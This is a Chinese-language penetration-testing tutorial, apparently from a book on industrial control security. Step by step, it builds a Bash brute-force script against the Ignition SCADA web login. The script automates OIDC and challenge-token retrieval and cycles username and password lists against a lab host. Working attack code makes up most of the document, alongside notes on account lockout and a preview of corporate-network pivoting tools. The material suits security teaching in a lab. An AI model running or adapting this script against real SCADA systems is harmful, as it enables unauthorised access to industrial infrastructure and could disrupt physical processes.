在現代工業控制系統的滲透測試中,效率是成功的關鍵。許多基於網頁的SCADA平台採用多步驟認證流程,並透過動態產生的權杖(如OIDC Token)來防禦重放攻擊與自動化腳本。手動分析此類機制雖然有助於理解其運作原理,但在面對大量憑證組合時卻顯得不切實際。因此,將重複性的權杖獲取與驗證請求過程程式化,是實現規模化測試的必然途徑。本文所闡述的腳本開發方法,不僅解決了動態權杖的挑戰,更將整個認證流程封裝為可重用的攻擊模組,為後續針對使用者名稱列舉與密碼暴力破解等進階攻擊策略奠定了堅實的技術基礎。
自動化SCADA暴力破解腳本開發:從手動到程式化
玄貓認為,雖然手動分析和繞過安全機制是理解其原理的關鍵,但在實際滲透測試中,效率至關重要。將重複性任務自動化,特別是像動態Token獲取和替換這樣的步驟,可以顯著提高測試效率。本節將引導您開發一個Bash腳本,自動化獲取OIDC Token和next-challenge Token的過程,為最終的暴力破解攻擊奠定基礎。
1. 提取OIDC Token的Bash腳本:
1.1. 從Burp Suite複製cURL命令:
- 在Burp Suite的Repeater工具中,前往
/idp/default/oidc/auth?請求。 - 右鍵點擊「請求」(Request),從上下文選單中選擇「複製為cURL命令」(Copy as curl command)。
1.2. 測試cURL命令:
- 在您的終端機中貼上並執行這個cURL命令。您應該會看到類似於之前在Repeater中觀察到的回應,其中包含一個新生成的Token。
1.3. 建立Bash腳本:
- 使用您喜歡的編輯器(例如
nano)建立一個Bash檔案。在終端機中輸入:nano exploit.sh。 - 將剛剛複製的cURL命令貼入編輯器。
- 為了提取Token,我們將使用
eval語句包裝cURL命令,並使用grep命令過濾出Token。 - 腳本片段範例:
#!/bin/bash
oidc_cmd="curl 'https://192.168.2.10:8088/idp/default/oidc/auth?app=gateway&token=...' --compressed --insecure"
oidc_token=$(eval "$oidc_cmd" | grep -oP '(?<=c&token=).*(?=&response)')
echo "OIDC Token: $oidc_token"
oidc_cmd變數儲存了cURL命令。eval "$oidc_cmd"執行這個命令。grep -oP '(?<=c&token=).*(?=&response)'使用Perl正則表達式來提取c&token=和&response之間的字串。玄貓提醒,這裡的c是上一個Token的最後一個字元,如果您的回應格式不同,需要進行調整。
1.4. 測試OIDC Token腳本:
- 在終端機中執行:
bash exploit.sh。 - 您應該會看到輸出顯示新生成的OIDC Token。
2. 提取next-challenge Token的Bash腳本:
2.1. 從Burp Suite複製cURL命令:
- 重複上述步驟,在Burp Suite的Repeater工具中,複製用於獲取
next-challengeToken的請求為cURL命令。
2.2. 整合到Bash腳本:
- 將這個cURL命令貼入
exploit.sh檔案中。 - 這次,我們需要將之前獲取的
oidc_token作為參數傳遞給新的cURL命令。 - 腳本片段範例:
#!/bin/bash
# ... (前一部分的 oidc_token 獲取代碼) ...
next_challenge_cmd="curl 'https://192.168.2.10:8088/idp/default/authn/next-challenge?token=$oidc_token&...' --compressed --insecure"
next_challenge_token=$(eval "$next_challenge_cmd" | grep -oP '(?<="nextChallengeToken":").*?(?=")')
echo "Next Challenge Token: $next_challenge_token"
- 請注意,
next-challenge請求的回應通常是JSON格式,因此grep的正則表達式需要調整以解析JSON物件。
2.3. 處理Session ID過期問題:
- 玄貓提醒,如果您在獲取
next-challengeToken時遇到400 Invalid Session的回應碼,這表示您的Session ID已過期。 - 解決方法是:在Burp Suite中重新記錄請求,並修改cURL命令中的
default.sid值,使其與最新的Session ID保持一致。
2.4. 測試next-challenge Token腳本:
- 執行
bash exploit.sh。 - 如果一切順利,您應該會看到OIDC Token和
next-challengeToken都被成功生成並顯示。
3. 整合最終身份驗證請求:
3.1. 複製最終認證cURL命令:
- 再次在Burp Suite中,複製
/idp/default/authn/submit-username-password-challenge請求為cURL命令。
3.2. 整合到Bash腳本並傳遞Token:
- 將這個cURL命令貼入
exploit.sh檔案中。 - 這次,您需要將
next_challenge_token作為參數傳遞給這個認證請求。 - 同時,如果Session ID過期,也需要更新
default.sid。 - 您的腳本的認證部分應該類似於:
#!/bin/bash
# ... (oidc_token 和 next_challenge_token 的獲取代碼) ...
auth_cmd="curl 'https://192.168.2.10:8088/idp/default/authn/submit-username-password-challenge' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username=scada' \
--data-urlencode 'password=scada' \
--data-urlencode 'nextChallengeToken=$next_challenge_token' \
--cookie 'default.sid=YOUR_LATEST_SESSION_ID; JSESSIONID=...' \
--compressed --insecure"
auth_response=$(eval "$auth_cmd")
echo "Authentication Response: $auth_response"
此圖示:自動化Token獲取與認證流程
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
actor "滲透測試者 (玄貓)" as pentester
rectangle "Kali Linux VM" as kali_vm {
component "Burp Suite" as burpsuite
component "Bash 腳本 (exploit.sh)" as exploit_script
component "終端機" as terminal
}
rectangle "Ignition SCADA 系統" as scada_system {
component "認證服務" as auth_service
}
pentester -> burpsuite : 複製 OIDC GET 請求為 cURL
pentester -> exploit_script : 貼上並整合 OIDC cURL 命令 (提取 oidc_token)
pentester -> terminal : 執行 exploit.sh
terminal --> exploit_script : 執行 OIDC cURL
exploit_script --> auth_service : 請求 OIDC
auth_service --> exploit_script : 返回 OIDC 響應
exploit_script --> terminal : 輸出 oidc_token
pentester -> burpsuite : 複製 next-challenge GET 請求為 cURL
pentester -> exploit_script : 貼上並整合 next-challenge cURL 命令 (使用 oidc_token, 提取 next_challenge_token)
pentester -> terminal : 執行 exploit.sh
terminal --> exploit_script : 執行 next-challenge cURL (帶 oidc_token)
exploit_script --> auth_service : 請求 next-challenge
auth_service --> exploit_script : 返回 next-challenge 響應
exploit_script --> terminal : 輸出 next_challenge_token
pentester -> burpsuite : 複製認證 POST 請求為 cURL
pentester -> exploit_script : 貼上並整合認證 cURL 命令 (使用 next_challenge_token, 憑證)
pentester -> terminal : 執行 exploit.sh
terminal --> exploit_script : 執行認證 cURL (帶 next_challenge_token, 憑證)
exploit_script --> auth_service : 提交認證
auth_service --> exploit_script : 返回認證結果
exploit_script --> terminal : 輸出認證響應
note right of exploit_script
自動化 OIDC Token 獲取
自動化 next-challenge Token 獲取
自動化憑證提交
需處理 Session ID 過期
end note
note right of auth_service
處理 OIDC 請求
處理 next-challenge 請求
處理使用者憑證與 Token 驗證
end note
@enduml看圖說話:
此圖示展示了玄貓如何將手動分析的Ignition SCADA認證流程自動化為一個Bash腳本。整個流程從滲透測試者(玄貓)在Burp Suite中複製關鍵的cURL命令開始。首先,玄貓將用於獲取OIDC Token的cURL命令整合到exploit.sh腳本中,並透過grep提取Token。接著,玄貓將用於獲取**next-challenge Token的cURL命令整合進腳本,並確保將前一步驟獲取的oidc_token作為參數傳遞。最後,玄貓將最終的認證POST請求整合到腳本中,並傳遞next_challenge_token和預設憑證(例如scada:scada)。這個腳本透過在終端機中執行,能夠自動與SCADA系統的認證服務**交互,依次獲取所需的動態Token,並最終提交帶有正確Token和憑證的認證請求,從而實現自動化的暴力破解或憑證測試。圖示也特別強調了腳本需要處理Session ID過期等潛在問題。
自動化SCADA暴力破解腳本開發:從手動到程式化(續)
玄貓認為,一個實用的滲透測試工具不僅要能完成任務,更要具備彈性和可重用性。將硬編碼的參數抽象為變數,並將重複邏輯封裝為函數,是提升腳本品質和效率的關鍵。本節將繼續完善暴力破解腳本,使其能夠讀取使用者名稱和密碼列表,並探討SCADA系統的防暴力破解機制及其應對策略。
1. 腳本重構與參數化:
1.1. 初始腳本驗證:
- 您可以看到,我們硬編碼了預設的
scada:scada憑證來測試我們的腳本是否有效。如果一切正常,並且default.sid仍然有效,執行腳本時您的輸出應該會顯示成功身份驗證。
1.2. 參數化處理:
- 我們知道,在不同的滲透測試任務中,一些參數會發生變化。例如,主機位址、使用者名稱和密碼。因此,我們應該建立變數來處理這些情況。
- 由於我們需要將這些變數傳遞給所有三個cURL請求,我們將為此行為建立變數。使用者名稱和密碼也應該包含變數。
- 初始的重構腳本看起來會像這樣:
#!/bin/bash
HOST="192.168.2.10:8088"
USERNAME="scada"
PASSWORD="scada"
SESSION_ID="YOUR_LATEST_SESSION_ID" # 需要動態更新
# OIDC Token 獲取
oidc_cmd="curl 'https://$HOST/idp/default/oidc/auth?app=gateway&token=...' --compressed --insecure"
oidc_token=$(eval "$oidc_cmd" | grep -oP '(?<=c&token=).*(?=&response)')
# Next Challenge Token 獲取
next_challenge_cmd="curl 'https://$HOST/idp/default/authn/next-challenge?token=$oidc_token&...' --compressed --insecure"
next_challenge_token=$(eval "$next_challenge_cmd" | grep -oP '(?<="nextChallengeToken":").*?(?=")')
# 認證請求
auth_cmd="curl 'https://$HOST/idp/default/authn/submit-username-password-challenge' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username=$USERNAME' \
--data-urlencode 'password=$PASSWORD' \
--data-urlencode 'nextChallengeToken=$next_challenge_token' \
--cookie 'default.sid=$SESSION_ID; JSESSIONID=...' \
--compressed --insecure"
auth_response=$(eval "$auth_cmd")
echo "Authentication Response: $auth_response"
1.3. 重構後測試:
- 重構後,我們必須測試我們的腳本以確保沒有任何問題。執行
exploit.sh腳本,您應該會看到與之前相同的成功輸出。
2. 實現暴力破解功能:
2.1. 函數封裝:
- 現在,本節的標題包含了「暴力破解」。這意味著我們需要提供一種方法來讀取使用者名稱和密碼列表,並嘗試登入Ignition的登入頁面。
- 玄貓將再次重構腳本,刪除一些多餘的標頭,並將三個cURL請求封裝到一個函數中,例如
test_auth函數。
# ... (變數定義) ...
test_auth() {
local current_user=$1
local current_password=$2
# OIDC Token 獲取
oidc_cmd="..." # 使用 $HOST
oidc_token=$(eval "$oidc_cmd" | grep -oP '(?<=c&token=).*(?=&response)')
# Next Challenge Token 獲取
next_challenge_cmd="..." # 使用 $HOST, $oidc_token
next_challenge_token=$(eval "$next_challenge_cmd" | grep -oP '(?<="nextChallengeToken":").*?(?=")')
# 認證請求
auth_cmd="..." # 使用 $HOST, $current_user, $current_password, $next_challenge_token, $SESSION_ID
auth_response=$(eval "$auth_cmd")
# 檢查認證結果
if echo "$auth_response" | grep -q '"success":true'; then
echo "成功認證!使用者: $current_user, 密碼: $current_password"
return 0 # 成功
else
return 1 # 失敗
fi
}
2.2. 讀取使用者名稱列表:
- 我們需要建立一種方法來讀取使用者列表。我們可以打開一個檔案,逐行讀取,並將其傳遞給我們之前設定的變數。
- 我們可以這樣調整它:
# ... (函數定義) ...
while IFS='' read -r user || [[ -n "${user}" ]]; do
# 這裡可以讀取密碼列表,或直接呼叫 test_auth
# 為了簡化,先假設只有使用者名稱列表
test_auth "$user" "預設密碼" # 暫時使用預設密碼
if [[ $? -eq 0 ]]; then # 檢查 test_auth 的返回碼
echo "找到有效使用者名稱: $user"
fi
done < "$1" # $1 是傳入的第一個參數,即使用者名稱檔案
- 這允許我們將
users.txt傳遞給while循環,並讓內部欄位分隔符逐一處理使用者名稱。
2.3. 整合使用者名稱和密碼暴力破解:
- 玄貓在
users.txt中準備了三個使用者名稱。玄貓還增加了讀取密碼檔案和額外詳細資訊的選項。 - 以下是包含這些功能的程式碼範例:
#!/bin/bash
HOST="192.168.2.10:8088"
SESSION_ID="YOUR_LATEST_SESSION_ID" # 需要動態更新
VERBOSE=false
# 函數定義 test_auth
test_auth() {
local current_user=$1
local current_password=$2
local oidc_token=""
local next_challenge_token=""
local auth_response=""
local success="false"
# 獲取 OIDC Token
oidc_cmd="curl -s 'https://$HOST/idp/default/oidc/auth?app=gateway&token=...' --compressed --insecure"
oidc_token=$(eval "$oidc_cmd" | grep -oP '(?<=c&token=).*(?=&response)')
if $VERBOSE; then echo " OIDC Token: $oidc_token"; fi
# 獲取 Next Challenge Token
next_challenge_cmd="curl -s 'https://$HOST/idp/default/authn/next-challenge?token=$oidc_token&...' --compressed --insecure"
next_challenge_token=$(eval "$next_challenge_cmd" | grep -oP '(?<="nextChallengeToken":").*?(?=")')
if $VERBOSE; then echo " Next Challenge Token: $next_challenge_token"; fi
# 提交認證請求
auth_cmd="curl -s 'https://$HOST/idp/default/authn/submit-username-password-challenge' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username=$current_user' \
--data-urlencode 'password=$current_password' \
--data-urlencode 'nextChallengeToken=$next_challenge_token' \
--cookie 'default.sid=$SESSION_ID; JSESSIONID=...' \
--compressed --insecure"
auth_response=$(eval "$auth_cmd")
if $VERBOSE; then echo " Auth Response: $auth_response"; fi
if echo "$auth_response" | grep -q '"success":true'; then
success="true"
fi
echo "$success"
}
# 處理命令行參數
USER_FILE=$1
PASS_FILE=$2
if [[ "$3" == "-v" ]]; then
VERBOSE=true
fi
# 暴力破解主循環
while IFS='' read -r user || [[ -n "${user}" ]]; do
while IFS='' read -r pass || [[ -n "${pass}" ]]; do
echo "嘗試使用者: $user, 密碼: $pass"
result=$(test_auth "$user" "$pass")
if [[ "$result" == "true" ]]; then
echo "成功認證!使用者: $user, 密碼: $pass"
exit 0 # 找到即退出
fi
done < "$PASS_FILE"
done < "$USER_FILE"
echo "未找到有效憑證。"
- 現在您應該執行的命令是:
bash exploit.sh users.txt passwords.txt -v。 - 為了簡化,玄貓只在
passwords.txt中放入了四個密碼。運行上述命令應該會產生輸出,顯示成功身份驗證。
3. SCADA系統的防暴力破解機制:
3.1. 帳戶鎖定:
- 在您敲響警鐘並向當地計算機應急響應小組發送漏洞報告之前,Inductive Automation已經為暴力破解嘗試整合了伺服器端緩解措施。
- 如果您為已知使用者名稱嘗試五次錯誤密碼,Ignition將會從您上次嘗試的時間起鎖定該帳戶5分鐘。
3.2. 應對策略與風險:
- 因此,除非您擁有精心策劃的使用者列表和極其精準的密碼列表,否則您必須修改您的腳本,以考慮到在五次失敗嘗試後,任何合法帳戶都將被鎖定五分鐘的事實。
- 更不用說,如果您沒有盡職調查,這種程度的暴力破解肯定會被檢測到,這將迫使某人連接到伺服器並重新啟動Ignition。玄貓提醒,在實際滲透測試中,必須謹慎處理此類防禦機制,避免對目標系統造成不必要的干擾或損害。
此圖示:自動化暴力破解腳本邏輯與防禦機制
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
actor "滲透測試者 (玄貓)" as pentester
rectangle "Kali Linux VM" as kali_vm {
component "Bash 暴力破解腳本" as brute_script
file "users.txt" as users_file
file "passwords.txt" as passwords_file
}
rectangle "Ignition SCADA 系統" as scada_system {
component "認證服務" as auth_service
component "帳戶鎖定機制" as lockout_mechanism
component "日誌與監控" as logging_monitoring
}
pentester -> brute_script : 執行腳本 (exploit.sh users.txt passwords.txt -v)
brute_script --> users_file : 讀取使用者名稱列表
brute_script --> passwords_file : 讀取密碼列表
loop for each user in users.txt
loop for each password in passwords.txt
brute_script -> brute_script : 呼叫 test_auth 函數
activate brute_script
brute_script --> auth_service : 獲取 OIDC Token
auth_service --> brute_script : 返回 OIDC Token
brute_script --> auth_service : 獲取 next-challenge Token
auth_service --> brute_script : 返回 next-challenge Token
brute_script --> auth_service : 提交認證請求 (user, pass, tokens)
auth_service --> brute_script : 返回認證結果 (success:true/false)
deactivate brute_script
alt If success == true
brute_script --> pentester : 報告成功認證 (user, pass)
brute_script --> pentester : 腳本終止
else If success == false (5次失敗嘗試)
auth_service --> lockout_mechanism : 觸發帳戶鎖定 (5分鐘)
lockout_mechanism --> auth_service : 拒絕進一步嘗試
auth_service --> logging_monitoring : 記錄失敗嘗試
logging_monitoring --> pentester : (潛在) 觸發警報
brute_script --> pentester : 報告失敗 (考慮等待或切換使用者)
end
end
end
note right of lockout_mechanism
5次錯誤密碼鎖定帳戶 5分鐘
需調整腳本策略以避免鎖定
end note
note right of logging_monitoring
暴力破解行為會被系統檢測並記錄
可能導致被發現或系統重啟
end note
@enduml看圖說話:
此圖示清晰地展示了玄貓開發的自動化暴力破解腳本的邏輯流程及其與Ignition SCADA系統防禦機制的互動。腳本首先從users.txt和passwords.txt檔案中讀取使用者名稱和密碼列表。在兩個嵌套的循環中,腳本會對每個使用者名稱和密碼組合呼叫test_auth函數。test_auth函數負責動態獲取OIDC Token和next-challenge Token,然後將這些Token與當前的使用者名稱和密碼一起提交給SCADA系統的認證服務。如果認證成功,腳本會立即報告並終止。然而,圖示也強調了SCADA系統的帳戶鎖定機制:連續五次錯誤密碼嘗試將導致帳戶鎖定五分鐘。這種行為也會被日誌與監控系統記錄,可能觸發警報,甚至迫使管理員重啟系統。這提醒玄貓,在進行暴力破解時,必須仔細考慮目標系統的防禦策略,並調整攻擊節奏,以避免不必要的檢測或對系統造成負面影響。
第十章:深入企業網路的滲透策略
1. 前言:從自動化到實戰
迄今為止,重點一直放在自動化上——理解PLC是什麼以及它們如何通訊。連接性:特別是將PLC連接到實際的I/O,以及將其連接回SCADA,是一個熱門話題。我們還涵蓋了Modbus和Ethernet/IP,以及如何與I/O通訊。我們也討論了如何使用各種工具掃描和枚舉埠和服務,以找出環境中運行的協議。在上一章中,我們研究了如何使用Burp Suite與我們的基於Web的SCADA系統Ignition進行連接。所有這些工具和能力對於成功的交互都是必要的。
然而,我們大部分時間都花在研究網路的SCADA和實體硬體上。根據您的參與性質(通常稱為白箱測試),客戶可能會將您直接放入ICS網路,並賦予您完全的發現權限,以及一個Active Directory帳戶和ICS網路圖。這樣,您就可以避免穿越企業網路、防火牆並進入新領域的風險。
如果我們在本章中僅僅專注於此,那將是不公平的。在大多數情況下,玄貓會先被推入企業網路,然後被要求突破到工業網路。這需要對工業網路中使用的技術有透徹的理解。如果我們具備這種理解,我們就能在網路中站穩腳跟。我們將在不斷擴展的實驗室中添加更多組件。我們將模擬一次灰箱測試,您將被投入企業網路,然後必須找到出路。
2. 章節結構
本章將涵蓋以下主要議題:
- 安裝企業環境組件
- 發現並發動我們的攻擊
- 獲取Shell
3. 技術要求
對於本章,您將需要以下內容:
- 已安裝並配置好的Windows 2019網域控制器。
- 一台連接到網域控制器的Windows 10工作站。
- 一台已運行並安裝了以下工具的Kali Linux虛擬機:
- Impacket
- Kerbrute
- Evil-WinRM
4. 安裝企業環境組件
在第一章中,我們安裝了四台虛擬機:兩台Ubuntu、一台Windows 7和一台Kali Linux發行版。然後,我們使用Purdue模型建立了子網路,並為每個虛擬機分配了靜態IP位址,將它們與各自的組織網路層級對齊。在本部分,我們將設定一個帶有Active Directory網域名稱系統(DNS)和動態主機配置協議(DHCP)的Windows 2019網域控制器。
此圖示:滲透測試策略演進與實驗室環境擴展
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
actor "滲透測試者 (玄貓)" as pentester
rectangle "滲透測試階段" as phases {
node "資訊收集與分析" as info_gathering
node "自動化工具開發" as tool_dev
node "實戰模擬" as simulation
}
rectangle "實驗室環境 (Chapter 1-9)" as lab_env_initial {
component "PLC" as plc
component "SCADA (Ignition)" as scada
component "Kali Linux VM" as kali_vm_initial
component "Ubuntu VMs" as ubuntu_vms
component "Windows 7 VM" as win7_vm
note right of scada
Web-based SCADA
CSRF Token 繞過
暴力破解分析
end note
}
rectangle "實驗室環境 (Chapter 10 擴展)" as lab_env_extended {
component "Windows 2019 DC" as win2019_dc
component "Windows 10 Workstation" as win10_ws
component "Kali Linux VM (Impacket, Kerbrute, Evil-WinRM)" as kali_vm_extended
note right of win2019_dc
Active Directory
DNS, DHCP
end note
note right of win10_ws
連接到 DC
end note
}
info_gathering --> tool_dev : 發現與分析
tool_dev --> simulation : 實踐與驗證
lab_env_initial --> simulation : 基礎設施
lab_env_extended --> simulation : 企業網路模擬
pentester -> phases : 依序進行
pentester -> lab_env_initial : 學習與實踐
pentester -> lab_env_extended : 擴展與挑戰
simulation --> pentester : 獲取 Shell (目標)
win2019_dc -[hidden]-> win10_ws
win10_ws -[hidden]-> kali_vm_extended
kali_vm_extended -[hidden]-> win2019_dc
@enduml看圖說話:
此圖示描繪了玄貓在滲透測試學習路徑中的策略演進,以及實驗室環境的逐步擴展。初期階段,重點在於資訊收集與分析,並透過自動化工具開發(如本章的暴力破解腳本)來提升效率。這些知識和技能將在實戰模擬階段進行驗證。圖示上方展示了初始實驗室環境,包含了PLC、SCADA(Ignition)、Kali Linux、Ubuntu和Windows 7虛擬機,主要用於理解ICS網路的基礎通訊和Web SCADA的交互。
進入第十章,實驗室環境顯著擴展,引入了Windows 2019網域控制器(DC)、Windows 10工作站,以及一個配備了Impacket、Kerbrute和Evil-WinRM等進階工具的Kali Linux虛擬機。這種擴展旨在模擬更真實的企業網路環境,特別是灰箱測試情境,即滲透測試者首先從企業網路開始,然後嘗試突破到工業網路。玄貓將利用這些新組件來實施更複雜的攻擊,最終目標是獲取Shell,這標誌著滲透測試能力的進一步提升。整個過程強調了從基礎知識到進階實戰的循序漸進,以及不斷擴展工具集和理解目標環境的重要性。
評估此技術演進路徑的長期效益後,我們發現從手動分析到自動化腳本,不僅是效率的提升,更是思維模型的首次躍遷。然而,真正的瓶頸並非腳本的精巧程度,而在於面對如帳戶鎖定等防禦機制時,能否從「暴力破解」的線性思維,轉向「策略迂迴」的系統思考。此階段的價值在於,透過實踐深刻理解攻擊與防禦的動態博弈,為進入更複雜的企業環境滲透奠定認知基礎。
未來,頂尖安全專家的核心價值,將從單點技術的執行力,轉向整合企業網與工控網知識的「攻擊路徑規劃」能力,這預示了新的職涯發展軌跡。玄貓認為,這種從「工具匠人」晉升為「滲透策略師」的思維演進,正是資深專家在職涯中實現價值躍升的關鍵,值得所有追求精進者深度投入。